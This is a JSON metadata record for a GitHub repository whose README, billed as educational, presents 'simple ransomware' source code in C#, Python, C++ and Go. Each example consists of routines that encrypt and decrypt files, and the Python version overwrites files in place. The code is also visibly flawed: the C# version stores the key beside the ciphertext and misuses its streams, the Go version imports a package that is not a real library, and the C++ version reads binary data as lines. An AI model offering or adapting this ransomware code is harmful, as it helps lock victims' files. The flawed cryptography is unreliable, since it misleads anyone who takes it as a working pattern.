{"id":21400616,"url":"https://github.com/cybersecurityup/ransomware-codes","last_synced_at":"2025-03-16T15:56:41.521Z","repository":{"id":199113848,"uuid":"702166354","full_name":"CyberSecurityUP/Ransomware-Codes","owner":"CyberSecurityUP","description":"Educational repository with source code examples","archived":false,"fork":false,"pushed_at":"2023-10-08T17:35:32.000Z","size":4,"stargazers_count":12,"open_issues_count":0,"forks_count":4,"subscribers_count":3,"default_branch":"main","last_synced_at":"2025-01-23T02:45:34.831Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/CyberSecurityUP.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-10-08T17:28:45.000Z","updated_at":"2024-10-26T13:47:59.000Z","dependencies_parsed_at":null,"dependency_job_id":"abccbee9-48e0-4ffa-9be9-ca6a6227c219","html_url":"https://github.com/CyberSecurityUP/Ransomware-Codes","commit_stats":null,"previous_names":["cybersecurityup/ransomware-codes"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRansomware-Codes","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRansomware-Codes/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRansomware-Codes/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRansomware-Codes/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/CyberSecurityUP","download_url":"https://codeload.github.com/CyberSecurityUP/Ransomware-Codes/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243893905,"owners_count":20364916,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-22T15:23:15.810Z","updated_at":"2025-03-16T15:56:41.495Z","avatar_url":"https://github.com/CyberSecurityUP.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Ransomware-Codes\nEducational repository with source code examples\n\n## Simple Ransomware in C#\n\nC#\n```\nusing System;\nusing System.IO;\nusing System.Security.Cryptography;\n\npublic class Ransomware\n{\n    private static string encryptionKey = \"YourEncryptionKey\";\n\n    public static void EncryptFile(string filePath)\n    {\n        byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);\n        using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider())\n        {\n            aes.Key = keyBytes;\n            aes.GenerateIV();\n\n            using (FileStream fs = new FileStream(filePath, FileMode.Open))\n            {\n                using (CryptoStream cs = new CryptoStream(fs, aes.CreateEncryptor(), CryptoStreamMode.Write))\n                {\n                    byte[] buffer = new byte[1024];\n                    int bytesRead;\n                    while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) \u003e 0)\n                    {\n                        cs.Write(buffer, 0, bytesRead);\n                    }\n                }\n            }\n\n            byte[] iv = aes.IV;\n            string encryptedFilePath = filePath + \".encrypted\";\n            File.WriteAllBytes(encryptedFilePath, iv.Concat(aes.Key).ToArray());\n        }\n    }\n\n    public static void DecryptFile(string encryptedFilePath)\n    {\n        byte[] ivAndKey = File.ReadAllBytes(encryptedFilePath);\n        byte[] iv = ivAndKey.Take(16).ToArray();\n        byte[] key = ivAndKey.Skip(16).ToArray();\n\n        using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider())\n        {\n            aes.Key = key;\n            aes.IV = iv;\n\n            using (FileStream fs = new FileStream(encryptedFilePath, FileMode.Open))\n            {\n                using (CryptoStream cs = new CryptoStream(fs, aes.CreateDecryptor(), CryptoStreamMode.Read))\n                {\n                    byte[] buffer = new byte[1024];\n                    int bytesRead;\n                    string decryptedFilePath = encryptedFilePath.Replace(\".encrypted\", \".decrypted\");\n                    using (FileStream outputStream = new FileStream(decryptedFilePath, FileMode.Create))\n                    {\n                        while ((bytesRead = cs.Read(buffer, 0, buffer.Length)) \u003e 0)\n                        {\n                            outputStream.Write(buffer, 0, bytesRead);\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\n## Simple Ransomware in Python\n\nPython\n```\nimport os\nimport cryptography\nfrom cryptography.fernet import Fernet\n\n# Generate a unique encryption key\nencryption_key = Fernet.generate_key()\n\n# Encrypts a file\ndef encrypt_file(file_path):\n    with open(file_path, 'rb') as file:\n        data = file.read()\n    fernet = Fernet(encryption_key)\n    encrypted_data = fernet.encrypt(data)\n    with open(file_path, 'wb') as file:\n        file.write(encrypted_data)\n\n# Decrypts a file\ndef decrypt_file(file_path):\n    with open(file_path, 'rb') as file:\n        data = file.read()\n    fernet = Fernet(encryption_key)\n    decrypted_data = fernet.decrypt(data)\n    with open(file_path, 'wb') as file:\n        file.write(decrypted_data)\n```\n\n## Simple Ransomware in C++\n\nC++\n```\n#include \u003ciostream\u003e\n#include \u003cfstream\u003e\n#include \u003cstring\u003e\n#include \"aes.h\"\n\nvoid encryptFile(const std::string\u0026 filePath, const std::string\u0026 encryptionKey) {\n    std::ifstream inputFile(filePath, std::ios::binary);\n    std::ofstream outputFile(filePath + \".encrypted\", std::ios::binary);\n\n    AES aes(encryptionKey);\n\n    while (!inputFile.eof()) {\n        std::string block;\n        std::getline(inputFile, block);\n        std::string encryptedBlock = aes.encrypt(block);\n        outputFile \u003c\u003c encryptedBlock \u003c\u003c std::endl;\n    }\n\n    inputFile.close();\n    outputFile.close();\n}\n\nvoid decryptFile(const std::string\u0026 filePath, const std::string\u0026 encryptionKey) {\n    std::ifstream inputFile(filePath, std::ios::binary);\n    std::ofstream outputFile(filePath + \".decrypted\", std::ios::binary);\n\n    AES aes(encryptionKey);\n\n    while (!inputFile.eof()) {\n        std::string block;\n        std::getline(inputFile, block);\n        std::string decryptedBlock = aes.decrypt(block);\n        outputFile \u003c\u003c decryptedBlock \u003c\u003c std::endl;\n    }\n\n    inputFile.close();\n    outputFile.close();\n}\n\nint main() {\n    std::string encryptionKey = \"YourEncryptionKey\";\n    std::string filePath = \"example.txt\";\n\n    encryptFile(filePath, encryptionKey);\n    decryptFile(filePath + \".encrypted\", encryptionKey);\n\n    return 0;\n}\n```\n\n## Simple Ransomware in Golang\n\nGo\n```\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\n\t\"github.com/encrypt\"\n)\n\nfunc encryptFile(filePath string, encryptionKey string) {\n\tdata, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tencryptedData := encrypt.Encrypt(data, encryptionKey)\n\terr = ioutil.WriteFile(filePath, encryptedData, 0644)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n}\n\nfunc decryptFile(filePath string, encryptionKey string) {\n\tdata, err := ioutil.ReadFile(filePath)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tdecryptedData := encrypt.Decrypt(data, encryptionKey)\n\terr = ioutil.WriteFile(filePath, decryptedData, 0644)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n}\n\nfunc main() {\n\tencryptionKey := \"YourEncryptionKey\"\n\tfilePath := \"example.txt\"\n\n\tencryptFile(filePath, encryptionKey)\n\tdecryptFile(filePath, encryptionKey)\n}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcybersecurityup%2Fransomware-codes","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcybersecurityup%2Fransomware-codes","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcybersecurityup%2Fransomware-codes/lists"}